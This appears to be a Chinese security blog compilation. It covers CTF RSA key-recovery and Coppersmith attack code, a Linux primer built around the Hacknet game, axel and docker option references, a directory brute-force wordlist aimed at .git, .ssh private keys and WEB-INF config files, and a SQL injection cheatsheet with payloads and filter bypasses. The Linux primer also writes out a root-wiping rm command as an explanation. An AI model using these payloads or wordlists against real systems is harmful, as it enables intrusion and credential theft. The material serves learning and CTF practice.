4 :2 :fd:36: 5:50:0 :  :  :d : f: 6:  :  :e :
0 :  :  :ce:  :9e:8 :  :0 :d :07:b3:  :  :  :
0 :e4:  :  :68:b :c :  : c:5 :  :  :3 : 7: 2:
 c:e0:  :5 :  :  :b4:  :ef: 7:  :1 :e : 0:f :
  :6 :  :  :  :e0:c :3 :  :  : 3:  : d:  :  :
 3: 3: c: a:  :b : a:71: 3: 0:a :  :4 :5d:  :
0 :4 """)


_, dpmask_msk, dpmask_val = msk("""\
  : 3:2a:  : d:  :  :  :  :0 :1 : f:  :  : 6:
1 :2 :1b:07: a:e :b :c5:58:7 :  :e8: 7: 1: c:
  : 1:b :a0: 4:0f:5 :67:  :3 :7 :6 :f9:  : c:
  :79: 0:1 :65:  :8 :  :99: d:d :  :2 :9 :0 :
 e:  :0 :  :  :  : d:  :d :7 :6 :a9: a:8b: b:
  :  : 7: a:37:  :  :7 :1 :6 :  :c2: 7:6 :b :
 e:  :  :  :  :  :  :b :3a:5 :  :  :  :  :  :
  :  :  :cd:8 :  : d:  :7 : 3:  : f:e : c:  :
  : a:  :c : f:c : 7:b :5 :  :  :2 :8 :8 :6 :
0a: a:  :  :3 :db:  : 4:00:  : d:  :b : 5:  :
20: 2: 5:  :82:  : 0: 6:  :8a:  :7 :  : 8:  :
 4: 1:  :  :  : 8:46:  :  :  :  :  : 0:f :c8:
2 :  : c:7 :  : 1:  :  :2 : 0: 5:  :  : 1:9b:
 6:9 : 0:74:  :c :  :e :  :  :cb:b :3 :3 :  :
 2:  :  :47:  :2 : 0:5 :  :  : d: 6:83:  :  :
  :c7:  :  :0b:  :  : c:  :3 :8 :  :9 :4 : 7:
5 :c0:fe:  :f9: 1:  :0 : e: 8:02:  : f:  :c :
55:61""")

_, dqmask_msk, dqmask_val = msk("""\
  :0b:7 :4 :0 : 0:6 : 7:7e:  : 5:  : 7:  : a:
a :d : 0: 6: 4:86:  :  :8 :  :  :  :  :e :8f:
 9:  :  :  : 1:  :2 :  : 7: b:1 :5 : f:  :8 :
  :d :21:  :e : d:  :c9:e : b:  :  :1 :  :  :
  :d :a2:b7:  :  :  :f3:  :42:  :e : c:  :f :
  : 0:f :7 : 4: 5:34:  :4 : c:  :  :8 :d : 8:
5 :af: 3:1d: 5:4 :  :2 :  :6 :c : 6:a :1 :5 :
 a:9 :  :d :  :  :0a:a1:  :f :7 :9 :b :  :  :
 f:2 :27: f:  :0 :f6:4d:  :  :  :  :  :5 :  :
 4:08:  : 5:  : 8: 5:  :  :  :18: 4: 8:57: 2:
 f: a:  :  :a8: f: c:f : e: 1:9 :c : 4:9 :  :
  :  :  :  :  : 1:  :2 :  :d1:  : 6:e : d:  :
  : f:04:2 :8d:  : 3:  :  :b : 8:  :d6:  : 2:
  :  :  :6 :  : f:  :  : 0:6 :  :51:  :48:19:
  :  :  :69:4 : c:  :c :  : f:  :f4:d :  : f:
 d:0 :0d:b :3 : 3:2 :  :  :6 : b:5 :2 :  : c:
 1:5a: f:f :  :  :7e:3e:  :d :f :0 : d: c: 6:
 1""")


E = 0x10001

def search(K, Kp, Kq, check_level, break_step):
    max_step = 0
    cands = [0] # 广搜队列
    for step in range(1, break_step + 1):
        # step代表复原倒数第step步
        max_step = max(step, max_step)

        mod = 1 << (4 * step)
        mask = mod - 1

        cands_next = []
        for p, new_digit in product(cands, p_ranges[-step]):
            pval = (new_digit << ((step - 1) * 4)) | p

            # 四个剪枝
            if check_level >= 1:
                qval = solve_linear(pval, N & mask, mod)
                if qval is None or not check_val(qval, mask, qmask_msk, qmask_val):
                    continue

            if check_level >= 2:
                val = solve_linear(E, 1 + K * (N - pval - qval + 1), mod)
                if val is None or not check_val(val, mask, dmask_msk, dmask_val):
                    continue

            if check_level >= 3:
                val = solve_linear(E, 1 + Kp * (pval - 1), mod)
                if val is None or not check_val(val, mask, dpmask_msk, dpmask_val):
                    continue

            if check_level >= 4:
                val = solve_linear(E, 1 + Kq * (qval - 1), mod)
                if val is None or not check_val(val, mask, dqmask_msk, dqmask_val):
                    continue

                if pval * qval == N: #得到答案
                    print("Kq =", Kq)
                    print("pwned")
                    print("p =", pval)
                    print("q =", qval)
                    p = pval
                    q = qval
                    d = inverse(E, (p - 1) * (q - 1))
                    print("d =", d)
                    coef = inverse(p, q)

                    from Crypto.PublicKey import RSA
                    print(RSA.construct((N, E, d, p, q, coef)).exportKey().decode())
                    quit()

            cands_next.append(pval)

        if not cands_next:
            return False
        cands = cands_next
    return True


def check_val(val, mask, mask_msk, mask_val):
    test_mask = mask_msk & mask
    test_val = mask_val & mask
    return val & test_mask == test_val



for K in range(1, E):
    if K % 100 == 0:
        print("checking", K)
    if search(K, 0, 0, check_level=2, break_step=20):
        print("K =", K)
        break

for Kp in range(1, E):
    if Kp % 1000 == 0:
        print("checking", Kp)
    if search(K, Kp, 0, check_level=3, break_step=30):
        print("Kp =", Kp)
        break

for Kq in range(1, E):
    if Kq % 100 == 0:
        print("checking", Kq)
    if search(K, Kp, Kq, check_level=4, break_step=9999):
        print("Kq =", Kq)
        break

当然最后还有一个坑,不像前几个RSA用的是PKCS padding,这个加密之后的文件用的是OAEP padding方式,要用
openssl rsautl -decrypt -inkey private.pem -keyform PEM -in flag.enc -oaep
指定OAEP填充方式,巨坑

RSA大礼包(二)Coppersmith 相关

需要sagemath进行计算,这里贴上github上的轮子某位日本友人的博客
sagemath下载安装需要4G,如果不想安装可以使用在线sage计算

Stereotyped messages

若e较小,并且知道明文m的高位,可以这样进行攻击:
用sage运行以下代码
下载相关源码,启动sage

load("coppersmith.sage")
N = #N的值
e = 3 #e的值
m = #m的大概值
c = #c的值
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x)^e - c
dd = f.degree()
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)

求出的结果是与m的差值,既f(x)=(m+x)^e-c的根
特别的,XX是根的上界,根据你知道的m的位数进行调整

Partial Key Exposure Attack(部分私钥暴露攻击)

若e较小,已知d的低位

def partial_p(p0, kbits, n):
    PR.<x> = PolynomialRing(Zmod(n))
    nbits = n.nbits()

    f = 2^kbits*x + p0
    f = f.monic()
    roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3)  # find root < 2^(nbits//2-kbits) with factor >= n^0.3
    if roots:
        x0 = roots[0]
        p = gcd(2^kbits*x0 + p0, n)
        return ZZ(p)

def find_p(d0, kbits, e, n):
    X = var('X')

    for k in xrange(1, e+1):
        results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
        for x in results:
            p0 = ZZ(x[0])
            p = partial_p(p0, kbits, n)
            if p:
                return p


if __name__ == '__main__':
    n = 0x00bef498e6eb2cffe71312da47ab89d2c47db7438ea2cfa992ddddbc2a01978001fc51e286e6ebf028396cdb8b3323c60e6b9d50cd84187cf7f48e3875a2f0890f70b02333ad89db2923863ce146562286f63fb0a1d0198e3a6862ba5ac12e85a5c6d0d27cb1c81bdf69cc5bc95b8001a2f744517f9437b4ddd5a076fc0e9a5de1a7a268c40f31aa29e8dc27c0b3a182299ca7a9335b4bd4585452f6107c238e486c98dd73a5f9862e9e80b152f53381c72f897107551c281259ac3ee32c4b4f46cc03127d1bf699acd0266f3c6729253c70da0c69b1560fa172735709866b375b6eba294e1ce8b46fba798ba380080b4bf9603998cac199d9cd46e30ae8da9e7f
    e = 3
    d = 0x7f4dbb449cc8aa9a0cb73c2fc7b1372da924d7b46c8a710c93e9281c010faaabfd8bec59ef47f5702648925cccc284099d138b33ad65a8a54db425a3c1f5b0b4f5cac22273b13cc617aed340d98ec1af4ed5206be011097c459726e72b7459192f35e1a8768567ea46883d30e7aaabc1fa2d8baa62cfcde93915a4a809bc3e9547bb07e1ecca16e51078312e89f0561e31b55db8b0ea5bc87a6ca7464a3d7c28a68c60e2ba88fe6a7d2b300d723e549910a987da89fc0a1c0de197a3d62c501b1f0e819891b1c32a0d6c233f2a285df87bb9e5c6c72d983ff3e706696bba639f573f9c3646968f02f3a615a438e20bb7c38d53621079f2899547a95350f3abeb

    beta = 0.5
    epsilon = beta^2/7

    nbits = n.nbits()
    kbits = floor(nbits*(beta^2+epsilon))
    d0 = d & (2^kbits-1)
    print "lower %d bits (of %d bits) is given" % (kbits, nbits)

    p = find_p(d0, kbits, e, n)
    print "found p: %d" % p
    q = n//p
    print d
    print inverse_mod(e, (p-1)*(q-1))

d0代表已知的d的较低位,kbits是已知的d0的位数。

Factoring with high bits known

已知因子中的高位

load("coppersmith.sage")
N = #N的值
ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
qbar = #q的近似值
f = x - qbar
beta = 0.5
dd = f.degree()
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon)) + 1000000000000000000000000000000000
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)

我们要有q\geqslant N^{beta},XX是解的上界

[游戏]从hacknet到Linux/Unix

从Hacknet到Linux/Unix

Hacknet是一个steam上的游戏,官方的介绍是它是一款给基于终端的黑客模拟器。在游戏中你需要调查失踪的bit,加入黑客组织,完成任务,最后揭开所有的奥秘。
游戏界面是一个看起来贼酷炫的命令行界面,玩家想要黑进其他的服务器,要通过快速输入命令来完成一系列操作最终获取目标服务器的控制权。
但是它仅仅只是个游戏而已吗?哪些命令都是游戏开发者杜撰出来的吗?不不不,里面还是有很多知识值得我们去了解和学习

Hacknet OS是个怎么样的操作系统

首先我们简单说一下主流操作系统的派别。
首先登场的选手是DOS,有很多软件公司都开发过DOS系统,当然,最好的是巨硬爸爸的MS-DOS。巨硬之后发布的win95,win98也都是基于DOS的,就算win2000之后的Windows基于图形化界面,但是任然可以打开cmd.exe运行DOS命令。
接下来像我们走来的是Unix代表队的选手们,1965年,Ken Thompson和Dernis Ritchie为了在自己的电脑上运行“星际旅行”程序(没错是个游戏),开发了这个系统。

但是无论是DOS还是Windows还是Unix,都是收费软件,而且价格不菲。这时候Richard Stallman站了出来,他建立了GNU(全称GNU is not Unix)基金会,计划完全模仿Unix做一个开源免费的操作系统,这就是GNU/Linux操作系统,后来人们习惯称它为Linux。

Unix和Linux虽然根本不同源,但是由于功能上的高度一致,所有可以统称他们*nix
游戏中的Hacknet_OS怎么看都是一个基于*nix的操作系统

再说一说文件系统

说到文件大家应该都不陌生,文件的位置叫做文件的路径。Windows下的路径大概是这样子的。C:\\windows\system32\cmd.exe,它的意思是C盘在windows文件夹里的system32文件夹里的cmd.exe文件。我们日常说的C盘和D盘其实是磁盘中的一个分区,C:\\开头的文件储存在C盘对应的分区里。后来我们习惯性地把和系统相关的软件装在C盘,把下载的文件存在D盘,如果装了ssd就把系统和游戏都装在ssd里……
但是在Unix系统中,一个文件的路径是这样的/etc/apache2/apache2.conf,不仅最前面没有盘符,连斜线方向都不一样。其实严格的说,Unix的所有文件都放在一个称为根目录的大文件/下,而具体哪个文件在哪个驱动器里,是由Unix的“挂载”机制确定的。
Hacknet_OS的/目录下面有四个文件夹

毫无疑问在原版的Linux系统里都有对应的文件夹,文件夹中存放的东西也大概和游戏中一致。
/home文件夹存放的是每个用户的个人的文件,如果我的用户名是felinae那么/home/felinae就是我的个人文件夹,我对这个文件夹下的文件具有一切权限。Hacknet中的home文件夹提供了类似的功能但是进行了简化。
游戏中/log中存放的是系统日志,在Linux中这个文件夹是/var/log。与游戏中不同的是,/var/log中的日志是按不同程序归类的,不同程序的日志记录在不同的文件中,但是绝对不会像hacknet中像老妈妈记账一样事无巨细的把所有东西记下来。在游戏中设计/log的原因估计是游戏开发者想让玩家记住跑路前一定要抹掉自己的痕迹。
/bin是binary的意思,指编译好了的可运行的程序,在Linux中/bin中存放着的是最低级,最基本的程序,比如cat, cp, mv这些程序,比较高级像Python这样的程序一般存在/usr/bin中。值得吐槽的是,*nix系统的可运行文件是没有exe的后缀的,也没有dll结尾的动态链接库。
/sys顾名思义存放着一些系统文件,无论是游戏中还是真实世界中这个文件夹里的东西都不要乱动。

Shell究竟是啥

首先shell不是拿来操纵肉鸡的。
shell这个单词的意思是壳,乍一看不知所云,但是把它和与之对应的内核(kernel)对应起来就没那么难以理解了,顾名思义,内核负责的是内部的处理运算,shell负责处理外界对程序的操作,把处理结果返回给外界。
shell种类繁多有基于CLI(命令行)的也有基于GUI(图形化界面)的,但一般说到shell都默认是命令行。shell的功能取决于他后面的内核,MySQL的客户端就是个shell,直接运行Python启动的是Python shell,MATLAB的交互式界面也是shell,连爬虫scrapy运行的时候都会启动一个shell,这些程序都是输入一个命令,然后返回一个执行命令后的结果,一般具有这种功能的程序都是shell。
如果后面的内核是系统内核,windows的内核shell一个是大名鼎鼎的explorer.exe另一个是cmd.exe还有win10开始才出现的powershell。Linux中最基本的shell是sh,最常用的shell是bash,绝大部分Linux的默认shell都是bash(除了alpine这样专注小巧轻量化的),当然也有为了好用而生的zsh,fish。
cmd.exe
(这是cmd.exe)
oh-my-zsh
(这是oh-my-zsh)
没有自动补全的shell不是好shell,在很多shell中,你只用输入命令的前几个字母,按一下tab,shell就会帮你补全整个命令,在hacknet中要大量运用这个技巧提高自己的速度。

那些命令和端口都是真的吗


大部分是真的。
mv是移动或者重命名(move),cp是复制(copy),cat是查看文件内容,cd是切换文件夹(change director),rm是删除(remove),shutdown关机,reboot重启
rm -r可以删除文件夹(游戏中明显不能),所以在Linux下可以一波rm -rf --no-preserve-root /直接把根目录删掉,包括运行中的系统内核,最后了连关机都关不掉(shutdown都被删了)
我们注意到,很多电脑会开放一个叫做SSH,端口号一般为22的端口,这几乎是游戏中最简单的一个端口。它的意思是secure shell,是用于远程管理Linux的。只需要提供目标计算机的地址以及口令就可以登录目标计算机,对其进行远程操纵。但是提供口令的这种方式不安全,如果密码泄露或者被别人猜到,攻击者就能完全控制目标计算机。当然,SSH也可以禁用口令登录,通过公私钥来登录,这样几乎断绝了暴力破解的可能,并且与目标计算机之间的通信也通过公私钥加密,断绝了被窃听的可能。
既然SSH是secure shell,那么SCP就是secure copy了,与SSH类似,只要提供目标计算机口令或者私钥,就可以与目标计算机传送文件。无论是向服务器上传文件还是从服务器下载文件都可以用SCP完成。(没错游戏里的upload也是SCP完成的)。
FTP是一个文件传输协议,和SCP不同的是ftp可以设置指定用户名密码登录,也可以设置没有密码还能精确到地控制文件的权限。SCP适合点对点传输文件,但是要建立一个文件共享站点或者老师想要让学生吧作业交到一个统一的地方,FTP绝对是你的首选。
SMTP是发邮件用的,torrent是下载种子用的,MySQL是数据库开放的端口。
80端口是http端口,你上网看网页全靠它,443是https端口,它提供的是加密的http。


总的来说hacknet还是一款很有趣的游戏,想要学习Linux的朋友也可以通过这款游戏对Linux有一个大概的认识,在2月20号以前在steam上12块就可以买到这个游戏,想要入手的盆友们抓紧啦。

[工具安利]- 下载神器axel

axel是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传,且可以从多个地址或者从一个地址的多个连接来下载同一个文件。
安装:

sudo apt-get install axel

用法:

axel [options] url1 [url2] [url...]

参数设置:

--max-speed=x       -s x    指定最大速率(字节/秒)
--num-connections=x -n x    指定最大连接数
--output=f          -o f    指定本地输出文件
--search[=x]        -S [x]  搜索镜像并从 X 服务器下载
--header=x          -H x    添加报头字符串
--user-agent=x      -U x    设置用户代理
--no-proxy          -N  不使用任何代理服务器
--insecure          -k  不校验 SSL 证书
--quiet             -q  使用输出简单信息模式
--verbose           -v  更多状态信息
--alternate         -a  另一种进度指示器
--help              -h  帮助信息
--version           -V  版本信息

[命令详解]docker 容器运行属性

常用操作

常用

-d --detach
后台运行
--name <name>
指定容器名字
-e --env
设定容器环境变量
-e --env <VAR>:<VALUE>
将VAR设置为VALUE
-e --env <host var>
将宿主机的var环境变量应用到容器中
--read-only
容器只读
--rm
退出后自动删除

volume

绑定挂载卷:
-v --volume <host location>:<container location>:<flag>
挂载宿主机制定目录/文件到容器指定位置(会抹掉容器原目录/文件)
Docker管理卷:
-v --volume <location>
在制定位置建立一个管理卷
共享卷
--volumes-from <container ID>
共享指定容器的卷,卷在容器中的位置相同。
flag:

ro      readonly
Z       with selenix (shared among multiple containers.)
z       with selenix (private and unshared.)

网络

网络方式
--net <method>

--net="none"                        无网络
--net="bridge"                      桥接(默认)
--net="host"                        完全开放
--net="container:<container ID>"    与其他容器公用同一网络

端口暴露
-p --publish <container port>
将容器上的一端口暴露于宿主机随机端口
-p --publish <host port>:<container port>
将容器上的一端口暴露于宿主机指定端口
-p --publish <host ip>::<container port>
将容器上的一端口暴露于宿主机指定ip随机端口
-p --publish <host ip>:<host port>:<container port>
将容器上的一端口暴露于宿主机指定ip指定端口
-P --publish-all
将容器上开放的所有端口暴露于宿主机随机端口
容器间通信
--link <container IP>:<host>
建立到指定容器的一条链接,在本容器内,host将解析到目标容器
其他
--hostname <hostname>
指定容器主机名
--dns=[<dns1>,<dns2>]
--dns <dns>
指定dns服务器

交互

-i --interactive
打开容器STDIN
-t --tty
分配一个终端
docker exec -it <container ID> bash
进入一个容器

重启选项

--restart=<method>

--restart=no                    不重启(默认)
--restart=on-failure[:retry]    遇到错误时重启(最多几次)
--restart=always                始终重启
--restart=unless-stopped        除非docker启动时容器已经处于退出状态,否则一直重启

太长不看版

      --add-host list                  Add a custom host-to-IP mapping (host:ip)
  -a, --attach list                    Attach to STDIN, STDOUT or STDERR
      --blkio-weight uint16            Block IO (relative weight), between 10 and 1000, or 0 to
                                       disable (default 0)
      --blkio-weight-device list       Block IO weight (relative device weight) (default [])
      --cap-add list                   Add Linux capabilities
      --cap-drop list                  Drop Linux capabilities
      --cgroup-parent string           Optional parent cgroup for the container
      --cidfile string                 Write the container ID to the file
      --cpu-count int                  CPU count (Windows only)
      --cpu-percent int                CPU percent (Windows only)
      --cpu-period int                 Limit CPU CFS (Completely Fair Scheduler) period
      --cpu-quota int                  Limit CPU CFS (Completely Fair Scheduler) quota
      --cpu-rt-period int              Limit CPU real-time period in microseconds
      --cpu-rt-runtime int             Limit CPU real-time runtime in microseconds
  -c, --cpu-shares int                 CPU shares (relative weight)
      --cpus decimal                   Number of CPUs
      --cpuset-cpus string             CPUs in which to allow execution (0-3, 0,1)
      --cpuset-mems string             MEMs in which to allow execution (0-3, 0,1)
  -d, --detach                         Run container in background and print container ID
      --detach-keys string             Override the key sequence for detaching a container
      --device list                    Add a host device to the container
      --device-cgroup-rule list        Add a rule to the cgroup allowed devices list
      --device-read-bps list           Limit read rate (bytes per second) from a device (default [])
      --device-read-iops list          Limit read rate (IO per second) from a device (default [])
      --device-write-bps list          Limit write rate (bytes per second) to a device (default [])
      --device-write-iops list         Limit write rate (IO per second) to a device (default [])
      --disable-content-trust          Skip image verification (default true)
      --dns list                       Set custom DNS servers
      --dns-option list                Set DNS options
      --dns-search list                Set custom DNS search domains
      --entrypoint string              Overwrite the default ENTRYPOINT of the image
  -e, --env list                       Set environment variables
      --env-file list                  Read in a file of environment variables
      --expose list                    Expose a port or a range of ports
      --group-add list                 Add additional groups to join
      --health-cmd string              Command to run to check health
      --health-interval duration       Time between running the check (ms|s|m|h) (default 0s)
      --health-retries int             Consecutive failures needed to report unhealthy
      --health-start-period duration   Start period for the container to initialize before starting
                                       health-retries countdown (ms|s|m|h) (default 0s)
      --health-timeout duration        Maximum time to allow one check to run (ms|s|m|h) (default 0s)
      --help                           Print usage
  -h, --hostname string                Container host name
      --init                           Run an init inside the container that forwards signals and
                                       reaps processes
  -i, --interactive                    Keep STDIN open even if not attached
      --io-maxbandwidth bytes          Maximum IO bandwidth limit for the system drive (Windows only)
      --io-maxiops uint                Maximum IOps limit for the system drive (Windows only)
      --ip string                      IPv4 address (e.g., 172.30.100.104)
      --ip6 string                     IPv6 address (e.g., 2001:db8::33)
      --ipc string                     IPC mode to use
      --isolation string               Container isolation technology
      --kernel-memory bytes            Kernel memory limit
  -l, --label list                     Set meta data on a container
      --label-file list                Read in a line delimited file of labels
      --link list                      Add link to another container
      --link-local-ip list             Container IPv4/IPv6 link-local addresses
      --log-driver string              Logging driver for the container
      --log-opt list                   Log driver options
      --mac-address string             Container MAC address (e.g., 92:d0:c6:0a:29:33)
  -m, --memory bytes                   Memory limit
      --memory-reservation bytes       Memory soft limit
      --memory-swap bytes              Swap limit equal to memory plus swap: '-1' to enable unlimited swap
      --memory-swappiness int          Tune container memory swappiness (0 to 100) (default -1)
      --mount mount                    Attach a filesystem mount to the container
      --name string                    Assign a name to the container
      --network string                 Connect a container to a network (default "default")
      --network-alias list             Add network-scoped alias for the container
      --no-healthcheck                 Disable any container-specified HEALTHCHECK
      --oom-kill-disable               Disable OOM Killer
      --oom-score-adj int              Tune host's OOM preferences (-1000 to 1000)
      --pid string                     PID namespace to use
      --pids-limit int                 Tune container pids limit (set -1 for unlimited)
      --platform string                Set platform if server is multi-platform capable
      --privileged                     Give extended privileges to this container
  -p, --publish list                   Publish a container's port(s) to the host
  -P, --publish-all                    Publish all exposed ports to random ports
      --read-only                      Mount the container's root filesystem as read only
      --restart string                 Restart policy to apply when a container exits (default "no")
      --rm                             Automatically remove the container when it exits
      --runtime string                 Runtime to use for this container
      --security-opt list              Security Options
      --shm-size bytes                 Size of /dev/shm
      --sig-proxy                      Proxy received signals to the process (default true)
      --stop-signal string             Signal to stop a container (default "SIGTERM")
      --stop-timeout int               Timeout (in seconds) to stop a container
      --storage-opt list               Storage driver options for the container
      --sysctl map                     Sysctl options (default map[])
      --tmpfs list                     Mount a tmpfs directory
  -t, --tty                            Allocate a pseudo-TTY
      --ulimit ulimit                  Ulimit options (default [])
  -u, --user string                    Username or UID (format: <name|uid>[:<group|gid>])
      --userns string                  User namespace to use
      --uts string                     UTS namespace to use
  -v, --volume list                    Bind mount a volume
      --volume-driver string           Optional volume driver for the container
      --volumes-from list              Mount volumes from the specified container(s)
  -w, --workdir string                 Working directory inside the container

[Web]你需要一份祖传的目录爆破字典

Apache和网站相关文件

/.htaccess
/.htpasswd

版本控制相关文件

/.DS_Store
/.ds_store
/.buildpath
/.cvsignore
/.git
/.git/HEAD
/.git/config
/.git/index
/.gitignore
/.old
/.settings
/.svn
/.svn/entries
/.svn/text-base/
/static/.svn/entries
/.hg/
/CHANGELOG.TXT
/CHANGELOG.txt
/README
/README.md
/backup.rar
/backup.sql
/backup.tar.bz2
/backup.tar.gz
/backup.tgz
/backup.zip
/backup/

home目录相关

/.bash_history
/.bash_history.php
/.bashrc
/.ssh
/.ssh/authorized_keys
/.ssh/id_rsa
/.ssh/id_rsa.pub
/.ssh/known_hosts
/.zsh

java相关

/.idea/workspace.xml
/WEB-INF/applicationContext.xml
/WEB-INF/classes/
/WEB-INF/classes/application.properties
/WEB-INF/classes/applicationContext.xml
/WEB-INF/classes/conf/datasource.xml
/WEB-INF/classes/conf/jdbc.properties
/WEB-INF/classes/conf/spring/applicationContext-datasource.xml
/WEB-INF/classes/config/applicationContext.xml
/WEB-INF/classes/data.xml
/WEB-INF/classes/dataBase.properties
/WEB-INF/classes/db.properties
/WEB-INF/classes/hibernate.cfg.xml
/WEB-INF/classes/jdbc.properties
/WEB-INF/classes/rabbitmq.xml
/WEB-INF/classes/struts_manager.xml
/WEB-INF/conf/database_config.properties
/WEB-INF/config.xml
/WEB-INF/config/db/dataSource.xml
/WEB-INF/config/dbconfig
/WEB-INF/database.properties
/WEB-INF/dwr.xml
/WEB-INF/log4j.properties
/WEB-INF/spring-cfg/applicationContext.xml
/WEB-INF/spring.xml
/WEB-INF/struts-config.xml
/WEB-INF/struts/struts-config.xml
/WEB-INF/web.properties
/WEB-INF/web.xml
/WEB-INF/web.xml.bak
/Web.config
/WEB-INF./web.xml

常用路径

/Console/
/console
/DATA/
/DATABASE/
/DB/
/MYSQL/
/MySQL/
/SQL
/mydata
/ThinkPHP
/ThinkPHP/LICENSE.txt
/ThinkPHP/ThinkPHP.php
/_phpmyadmin/
/admin
/admin-console/
/admin-control/
/admin.do
/admin.html
/admin.jsp
/admin.asp
/admin.aspx
/admin.php
/admina.php
/adminb.php
/adminc.php
/adminn.php
/adminm.php
/admin/login.php
/administrator/
/administrator.php
/administrator.asp
/administrator.aspx
/administrator.jsp
/administrator.do
/adminlogin.asp
/adminlogin.do
/adminlogin.jsp
/adminlogin.php
/admin/adminlogin.asp
/back/
/backend/

SQL注入cheatsheet

[TOC]

注入方法相关

Error Based

  • and (select 1 from (select count(*),concat((inject here),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • and 1=(updatexml(1,concat(0x5e24,(inject here),0x5e24),1))
  • and extractvalue(1, concat(0x5c, (inject here)))

Time Based Blind

  • sleep(3)
  • benchmark(10000000, sha1('true'))

过滤

空格过滤

  • 注释代替空格 /**/
  • 行注释回车替代空格(参见sqlmap tamper space2mysqldash)
  • 其他符号代理空格 %20 %09 %0d %0b %0c %0d %a0 %0a
  • 括号过滤 ()

逗号(,)过滤

使用join绕过:

UNION SELECT 1,2,3,4 FROM ...
UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN (SELECT 3)C JOIN (SELECT 4)D)

引号(字符串)过滤

  • 使用16进制
    SELECT 0x61646D696E;
  • 使用CHAR函数
    SELECT CHAR(97, 100, 109, 105, 110);

黑名单字符串

  • 直接select
    SELECT 'a' 'd' 'mi' 'n';
  • 使用concat
    SELECT CONCAT('a', 'd', 'm', 'i', 'n');
  • 使用concat_ws
    SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');

关键词过滤

  • 双写
  • 随缘大小写

绕过

addslashes

Returns a string with backslashes added before characters that need to be escaped. These characters are:

  • single quote (‘) ->\’
  • double quote (“) -> \”
  • backslash (\) -> \\
  • NUL (the NUL byte) \0
  • 宽字节注入
  • 格式化字符串漏洞

常用变量、函数

  • user()
  • database()
  • version()
  • @@datadir()
  • concat()
  • grop_concat()
  • hex() unhex()
  • load_file()
  • SELECT OOXX INTO OUTFILE ''

字段位置备忘

表名

  • raw
SELECT GOUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();
  • union
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
  • blind
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'

列名

SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

其他

万能密码

  • '=0#
    sql
    SELECT * FROM user WHERE username=''=0#';

php

php中md5($password, true)的漏洞利用

SELECT * FROM user WHERE username=`admin` and password=md5($password, true)

password:ffifdyop
md5之后的字符串'or'6<trash>